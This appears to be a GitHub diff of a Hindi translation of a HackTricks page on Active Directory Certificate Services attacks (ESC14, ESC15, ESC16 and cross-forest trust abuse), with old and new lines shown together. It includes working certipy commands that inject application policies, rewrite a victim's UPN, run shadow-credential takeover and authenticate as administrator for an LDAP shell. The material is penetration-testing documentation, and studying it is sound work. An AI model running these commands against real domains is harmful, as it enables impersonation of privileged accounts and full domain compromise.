एक "कमजोर" मैपिंग तब होती है जब `altSecurityIdentities` विशेषता के भीतर प्रमाणपत्र की पहचान करने के लिए उपयोग किया जाने वाला स्ट्रिंग मान बहुत व्यापक, आसानी से अनुमानित, गैर-विशिष्ट प्रमाणपत्र क्षेत्रों पर निर्भर करता है, या आसानी से धोखा देने योग्य प्रमाणपत्र घटकों का उपयोग करता है। यदि एक हमलावर एक ऐसा प्रमाणपत्र प्राप्त कर सकता है या तैयार कर सकता है जिसके गुण एक विशेषाधिकार प्राप्त खाते के लिए इस तरह की कमजोर परिभाषित स्पष्ट मैपिंग से मेल खाते हैं, तो वे उस प्रमाणपत्र का उपयोग उस खाते के रूप में प्रमाणीकरण करने और उसकी नकल करने के लिए कर सकते हैं।
|
||||
|
||||
कमजोर `altSecurityIdentities` मैपिंग स्ट्रिंग के संभावित उदाहरणों में शामिल हैं:
|
||||
|
||||
- केवल सामान्य विषय सामान्य नाम (CN) द्वारा मैपिंग: उदाहरण के लिए, `X509:<S>CN=SomeUser`। एक हमलावर इस CN के साथ एक प्रमाणपत्र एक कम सुरक्षित स्रोत से प्राप्त कर सकता है।
|
||||
- अत्यधिक सामान्य जारीकर्ता विशिष्ट नाम (DNs) या विषय DNs का उपयोग करना बिना किसी विशेष अनुक्रमांक या विषय कुंजी पहचानकर्ता जैसे आगे की योग्यता के: उदाहरण के लिए, `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`।
|
||||
- अन्य पूर्वानुमानित पैटर्न या गैर-क्रिप्टोग्राफिक पहचानकर्ताओं का उपयोग करना जिन्हें एक हमलावर एक प्रमाणपत्र में संतोषजनक रूप से पूरा कर सकता है जिसे वे वैध रूप से प्राप्त कर सकते हैं या धोखा दे सकते हैं (यदि उन्होंने एक CA से समझौता किया है या ESC1 में एक कमजोर टेम्पलेट पाया है)।
|
||||
- अत्यधिक सामान्य जारीकर्ता विशिष्ट नाम (DNs) या विषय DNs का उपयोग करना बिना किसी विशेष अनुक्रम संख्या या विषय कुंजी पहचानकर्ता जैसे आगे की योग्यता के: उदाहरण के लिए, `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`।
|
||||
- अन्य पूर्वानुमानित पैटर्न या गैर-क्रिप्टोग्राफिक पहचानकर्ताओं का उपयोग करना जिन्हें एक हमलावर एक प्रमाणपत्र में संतोषजनक रूप से पूरा कर सकता है जिसे वे वैध रूप से प्राप्त या तैयार कर सकते हैं (यदि उन्होंने एक CA से समझौता किया है या ESC1 में एक कमजोर टेम्पलेट पाया है)।
|
||||
|
||||
`altSecurityIdentities` विशेषता मैपिंग के लिए विभिन्न प्रारूपों का समर्थन करती है, जैसे:
|
||||
|
||||
- `X509:<I>IssuerDN<S>SubjectDN` (पूर्ण जारीकर्ता और विषय DN द्वारा मैप करता है)
|
||||
- `X509:<SKI>SubjectKeyIdentifier` (प्रमाणपत्र के विषय कुंजी पहचानकर्ता विस्तार मान द्वारा मैप करता है)
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN` (क्रमांक द्वारा मैप करता है, जो अप्रत्यक्ष रूप से जारीकर्ता DN द्वारा योग्य है) - यह एक मानक प्रारूप नहीं है, आमतौर पर यह `<I>IssuerDN<SR>SerialNumber` होता है।
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN` (अनुक्रम संख्या द्वारा मैप करता है, जो अप्रत्यक्ष रूप से जारीकर्ता DN द्वारा योग्य है) - यह एक मानक प्रारूप नहीं है, आमतौर पर यह `<I>IssuerDN<SR>SerialNumber` होता है।
|
||||
- `X509:<RFC822>EmailAddress` (SAN से RFC822 नाम, आमतौर पर एक ईमेल पता, द्वारा मैप करता है)
|
||||
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (प्रमाणपत्र की कच्ची सार्वजनिक कुंजी के SHA1 हैश द्वारा मैप करता है - सामान्यतः मजबूत)
|
||||
|
||||
इन मैपिंग की सुरक्षा चुने गए प्रमाणपत्र पहचानकर्ताओं की विशिष्टता, अद्वितीयता और क्रिप्टोग्राफिक ताकत पर बहुत अधिक निर्भर करती है। डोमेन नियंत्रकों पर मजबूत प्रमाणपत्र बाइंडिंग मोड सक्षम होने के बावजूद (जो मुख्य रूप से SAN UPNs/DNS और SID विस्तार पर आधारित अप्रत्यक्ष मैपिंग को प्रभावित करते हैं), एक खराब कॉन्फ़िगर किया गया `altSecurityIdentities` प्रविष्टि अभी भी नकल के लिए एक सीधा मार्ग प्रस्तुत कर सकता है यदि मैपिंग लॉजिक स्वयं दोषपूर्ण या बहुत अनुमति देने वाला है।
|
||||
### Abuse Scenario
|
||||
|
||||
ESC14 **स्पष्ट प्रमाणपत्र मैपिंग** को Active Directory (AD) में लक्षित करता है, विशेष रूप से `altSecurityIdentities` विशेषता। यदि यह विशेषता सेट की गई है (डिज़ाइन द्वारा या गलत कॉन्फ़िगरेशन के कारण), तो हमलावर मैपिंग से मेल खाने वाले प्रमाणपत्र प्रस्तुत करके खातों की नकल कर सकते हैं।
|
||||
ESC14 **स्पष्ट प्रमाणपत्र मैपिंग** को Active Directory (AD) में लक्षित करता है, विशेष रूप से `altSecurityIdentities` विशेषता। यदि यह विशेषता सेट की गई है (डिज़ाइन द्वारा या गलत कॉन्फ़िगरेशन के माध्यम से), तो हमलावर मैपिंग से मेल खाने वाले प्रमाणपत्र प्रस्तुत करके खातों की नकल कर सकते हैं।
|
||||
|
||||
#### Scenario A: Attacker Can Write to `altSecurityIdentities`
|
||||
|
||||
@ -702,7 +741,7 @@ For more specific attack methods in various attack scenarios, please refer to th
|
||||
|
||||
The description at https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc is remarkably thorough. Below is a quotation of the original text.
|
||||
|
||||
बिल्ट-इन डिफ़ॉल्ट संस्करण 1 सर्टिफिकेट टेम्पलेट्स का उपयोग करते हुए, एक हमलावर एक CSR तैयार कर सकता है जिसमें एप्लिकेशन नीतियाँ शामिल हैं जो टेम्पलेट में निर्दिष्ट कॉन्फ़िगर की गई एक्सटेंडेड की उपयोग विशेषताओं की तुलना में प्राथमिकता दी जाती हैं। एकमात्र आवश्यकता नामांकन अधिकार है, और इसका उपयोग क्लाइंट प्रमाणीकरण, सर्टिफिकेट अनुरोध एजेंट, और कोडसाइनिंग सर्टिफिकेट उत्पन्न करने के लिए किया जा सकता है **_WebServer_** टेम्पलेट का उपयोग करके।
|
||||
बिल्ट-इन डिफ़ॉल्ट संस्करण 1 सर्टिफिकेट टेम्पलेट्स का उपयोग करते हुए, एक हमलावर एक CSR तैयार कर सकता है जिसमें एप्लिकेशन नीतियाँ शामिल हैं जो टेम्पलेट में निर्दिष्ट विस्तारित कुंजी उपयोग विशेषताओं की तुलना में प्राथमिकता दी जाती हैं। एकमात्र आवश्यकता नामांकन अधिकार है, और इसका उपयोग क्लाइंट प्रमाणीकरण, सर्टिफिकेट अनुरोध एजेंट, और कोडसाइनिंग सर्टिफिकेट उत्पन्न करने के लिए किया जा सकता है **_WebServer_** टेम्पलेट का उपयोग करके।
|
||||
|
||||
### Abuse
|
||||
|
||||
@ -714,7 +753,7 @@ certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
|
||||
```
|
||||
#### Scenario A: Direct Impersonation via Schannel
|
||||
|
||||
**Step 1: एक प्रमाणपत्र का अनुरोध करें, "क्लाइंट प्रमाणीकरण" एप्लिकेशन नीति और लक्षित UPN को इंजेक्ट करते हुए।** हमलावर `attacker@corp.local` `administrator@corp.local` को "WebServer" V1 टेम्पलेट का उपयोग करके लक्षित करता है (जो नामांकित द्वारा प्रदान किए गए विषय की अनुमति देता है)।
|
||||
**Step 1: एक प्रमाणपत्र का अनुरोध करें, "Client Authentication" एप्लिकेशन नीति और लक्षित UPN को इंजेक्ट करते हुए।** हमलावर `attacker@corp.local` "WebServer" V1 टेम्पलेट का उपयोग करते हुए `administrator@corp.local` को लक्षित करता है (जो नामांकित द्वारा प्रदान किए गए विषय की अनुमति देता है)।
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -733,7 +772,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
|
||||
```
|
||||
#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
|
||||
|
||||
**Step 1: V1 टेम्पलेट से एक सर्टिफिकेट का अनुरोध करें (जिसमें "Enrollee supplies subject" हो), "Certificate Request Agent" एप्लिकेशन पॉलिसी को इंजेक्ट करते हुए।** यह सर्टिफिकेट हमलावर (`attacker@corp.local`) के लिए एक एनरोलमेंट एजेंट बनने के लिए है। यहाँ हमलावर की अपनी पहचान के लिए कोई UPN निर्दिष्ट नहीं किया गया है, क्योंकि लक्ष्य एजेंट क्षमता है।
|
||||
**Step 1: V1 टेम्पलेट से एक सर्टिफिकेट का अनुरोध करें (जिसमें "Enrollee supplies subject" हो), "Certificate Request Agent" एप्लिकेशन पॉलिसी को इंजेक्ट करते हुए।** यह सर्टिफिकेट हमलावर (`attacker@corp.local`) के लिए एक एनरोलमेंट एजेंट बनने के लिए है। यहाँ हमलावर की अपनी पहचान के लिए कोई UPN निर्दिष्ट नहीं किया गया है, क्योंकि लक्ष्य एजेंट की क्षमता है।
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -743,7 +782,7 @@ certipy req \
|
||||
```
|
||||
- `-application-policies 'Certificate Request Agent'`: OID `1.3.6.1.4.1.311.20.2.1` को इंजेक्ट करता है।
|
||||
|
||||
**चरण 2: एक लक्षित विशेषाधिकार प्राप्त उपयोगकर्ता की ओर से एक प्रमाणपत्र अनुरोध करने के लिए "एजेंट" प्रमाणपत्र का उपयोग करें।** यह एक ESC3-जैसा चरण है, चरण 1 से प्रमाणपत्र का उपयोग करते हुए एजेंट प्रमाणपत्र के रूप में।
|
||||
**चरण 2: एक लक्षित विशेषाधिकार प्राप्त उपयोगकर्ता की ओर से एक प्रमाणपत्र के लिए "एजेंट" प्रमाणपत्र का उपयोग करें।** यह एक ESC3-जैसा चरण है, चरण 1 से प्रमाणपत्र का उपयोग करते हुए एजेंट प्रमाणपत्र के रूप में।
|
||||
```bash
|
||||
certipy req \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -771,7 +810,7 @@ certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
|
||||
|
||||
निम्नलिखित [इस लिंक](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally) का संदर्भित है, अधिक विस्तृत उपयोग विधियों को देखने के लिए क्लिक करें।
|
||||
|
||||
यह पहचानने के लिए कि क्या Active Directory Certificate Services (AD CS) वातावरण **ESC16** के प्रति संवेदनशील है
|
||||
यह पहचानने के लिए कि क्या Active Directory Certificate Services (AD CS) वातावरण **ESC16** के लिए संवेदनशील है
|
||||
```bash
|
||||
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
|
||||
```
|
||||
@ -782,7 +821,7 @@ certipy account \
|
||||
-dc-ip '10.0.0.100' -user 'victim' \
|
||||
read
|
||||
```
|
||||
**चरण 2: पीड़ित खाते का UPN लक्षित प्रशासक के `sAMAccountName` पर अपडेट करें।**
|
||||
**चरण 2: पीड़ित खाते का UPN लक्षित प्रशासक के `sAMAccountName` में अपडेट करें।**
|
||||
```bash
|
||||
certipy account \
|
||||
-u 'attacker@corp.local' -p 'Passw0rd!' \
|
||||
@ -796,7 +835,7 @@ certipy shadow \
|
||||
-dc-ip '10.0.0.100' -account 'victim' \
|
||||
auto
|
||||
```
|
||||
**चरण 4: ESC16-खतरे में पड़े CA पर _किसी भी उपयुक्त क्लाइंट प्रमाणीकरण टेम्पलेट_ (जैसे, "उपयोगकर्ता") से "शिकार" उपयोगकर्ता के रूप में एक प्रमाणपत्र का अनुरोध करें।** क्योंकि CA ESC16 के प्रति संवेदनशील है, यह जारी किए गए प्रमाणपत्र से SID सुरक्षा विस्तार को स्वचालित रूप से छोड़ देगा, चाहे इस विस्तार के लिए टेम्पलेट की विशिष्ट सेटिंग्स कुछ भी हों। Kerberos क्रेडेंशियल कैश पर्यावरण चर सेट करें (शेल कमांड):
|
||||
**चरण 4: ESC16-खतरे में पड़े CA पर _किसी भी उपयुक्त क्लाइंट प्रमाणीकरण टेम्पलेट_ (जैसे, "उपयोगकर्ता") से "शिकार" उपयोगकर्ता के रूप में एक प्रमाणपत्र का अनुरोध करें।** क्योंकि CA ESC16 के प्रति संवेदनशील है, यह जारी किए गए प्रमाणपत्र से SID सुरक्षा विस्तार को स्वचालित रूप से हटा देगा, चाहे इस विस्तार के लिए टेम्पलेट की विशिष्ट सेटिंग्स कुछ भी हों। Kerberos क्रेडेंशियल कैश पर्यावरण चर सेट करें (शेल कमांड):
|
||||
```bash
|
||||
export KRB5CCNAME=victim.ccache
|
||||
```
|
||||
@ -822,16 +861,20 @@ certipy auth \
|
||||
```
|
||||
## प्रमाणपत्रों के साथ जंगलों का समझौता निष्क्रिय वॉयस में समझाया गया
|
||||
|
||||
### समझौता किए गए CAs द्वारा जंगलों के विश्वासों का टूटना
|
||||
### समझौता किए गए CAs द्वारा जंगलों के विश्वास का टूटना
|
||||
|
||||
**क्रॉस-फॉरेस्ट नामांकन** के लिए कॉन्फ़िगरेशन को अपेक्षाकृत सरल बनाया गया है। **रूट CA प्रमाणपत्र** को संसाधन जंगल से **खाता जंगलों में प्रकाशित** किया जाता है, और संसाधन जंगल से **एंटरप्राइज CA** प्रमाणपत्रों को **प्रत्येक खाता जंगल में `NTAuthCertificates` और AIA कंटेनरों में जोड़ा जाता है**। स्पष्ट करने के लिए, यह व्यवस्था **संसाधन जंगल में CA को सभी अन्य जंगलों पर पूर्ण नियंत्रण** प्रदान करती है जिनका वह PKI प्रबंधित करता है। यदि इस CA को **हमलावरों द्वारा समझौता किया जाता है**, तो संसाधन और खाता जंगलों में सभी उपयोगकर्ताओं के लिए प्रमाणपत्रों को **उनके द्वारा जाली बनाया जा सकता है**, जिससे जंगल की सुरक्षा सीमा टूट जाती है।
|
||||
**क्रॉस-फॉरेस्ट नामांकन** के लिए कॉन्फ़िगरेशन को अपेक्षाकृत सीधा बनाया गया है। **रूट CA प्रमाणपत्र** को संसाधन जंगल से **खाता जंगलों में प्रकाशित** किया जाता है, और संसाधन जंगल से **एंटरप्राइज CA** प्रमाणपत्रों को **प्रत्येक खाता जंगल में `NTAuthCertificates` और AIA कंटेनरों में जोड़ा जाता है**। स्पष्ट करने के लिए, यह व्यवस्था **संसाधन जंगल में CA को सभी अन्य जंगलों पर पूर्ण नियंत्रण** देती है जिनका वह PKI प्रबंधित करता है। यदि इस CA को **हमलावरों द्वारा समझौता किया जाता है**, तो संसाधन और खाता जंगलों में सभी उपयोगकर्ताओं के लिए प्रमाणपत्रों को **उनके द्वारा जाली बनाया जा सकता है**, जिससे जंगल की सुरक्षा सीमा टूट जाती है।
|
||||
|
||||
### विदेशी प्रिंसिपलों को दिए गए नामांकन विशेषाधिकार
|
||||
|
||||
मल्टी-फॉरेस्ट वातावरण में, एंटरप्राइज CAs के संबंध में सावधानी बरतने की आवश्यकता है जो **प्रमाणपत्र टेम्पलेट्स प्रकाशित करते हैं** जो **प्रमाणित उपयोगकर्ताओं या विदेशी प्रिंसिपलों** (उपयोगकर्ता/समूह जो उस जंगल के बाहर हैं जिसमें एंटरप्राइज CA है) को **नामांकन और संपादन अधिकार** प्रदान करते हैं।\
|
||||
एक विश्वास के पार प्रमाणीकरण के बाद, **प्रमाणित उपयोगकर्ताओं का SID** AD द्वारा उपयोगकर्ता के टोकन में जोड़ा जाता है। इसलिए, यदि एक डोमेन में एक एंटरप्राइज CA है जिसमें एक टेम्पलेट है जो **प्रमाणित उपयोगकर्ताओं को नामांकन अधिकार** प्रदान करता है, तो एक उपयोगकर्ता **एक अलग जंगल से टेम्पलेट में नामांकित** हो सकता है। इसी तरह, यदि **एक टेम्पलेट द्वारा एक विदेशी प्रिंसिपल को स्पष्ट रूप से नामांकन अधिकार दिए जाते हैं**, तो **एक क्रॉस-फॉरेस्ट एक्सेस-कंट्रोल संबंध इस प्रकार बनाया जाता है**, जिससे एक जंगल से प्रिंसिपल को **दूसरे जंगल के टेम्पलेट में नामांकित** करने की अनुमति मिलती है।
|
||||
मल्टी-फॉरेस्ट वातावरण में, एंटरप्राइज CAs के संबंध में सावधानी बरतने की आवश्यकता है जो **प्रमाणपत्र टेम्पलेट्स प्रकाशित करते हैं** जो **प्रमाणित उपयोगकर्ताओं या विदेशी प्रिंसिपलों** (उपयोगकर्ता/समूह जो उस जंगल के बाहर हैं जिसमें एंटरप्राइज CA है) को **नामांकन और संपादन अधिकार** देते हैं।\
|
||||
एक विश्वास के पार प्रमाणीकरण के बाद, **प्रमाणित उपयोगकर्ताओं का SID** AD द्वारा उपयोगकर्ता के टोकन में जोड़ा जाता है। इसलिए, यदि एक डोमेन में एक एंटरप्राइज CA है जिसमें एक टेम्पलेट है जो **प्रमाणित उपयोगकर्ताओं को नामांकन अधिकार** देता है, तो एक उपयोगकर्ता **एक अलग जंगल से टेम्पलेट में नामांकित** हो सकता है। इसी तरह, यदि **एक टेम्पलेट द्वारा एक विदेशी प्रिंसिपल को स्पष्ट रूप से नामांकन अधिकार दिए जाते हैं**, तो **एक क्रॉस-फॉरेस्ट एक्सेस-कंट्रोल संबंध इस प्रकार बनाया जाता है**, जिससे एक जंगल से एक प्रिंसिपल को **दूसरे जंगल के टेम्पलेट में नामांकित** किया जा सकता है।
|
||||
|
||||
दोनों परिदृश्यों से एक जंगल से दूसरे जंगल में **हमले की सतह में वृद्धि** होती है। प्रमाणपत्र टेम्पलेट की सेटिंग्स को एक हमलावर द्वारा एक विदेशी डोमेन में अतिरिक्त विशेषाधिकार प्राप्त करने के लिए शोषण किया जा सकता है।
|
||||
दोनों परिदृश्यों से एक जंगल से दूसरे जंगल में **हमले की सतह में वृद्धि** होती है। प्रमाणपत्र टेम्पलेट की सेटिंग्स को एक हमलावर द्वारा एक विदेशी डोमेन में अतिरिक्त विशेषाधिकार प्राप्त करने के लिए शोषित किया जा सकता है।
|
||||
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user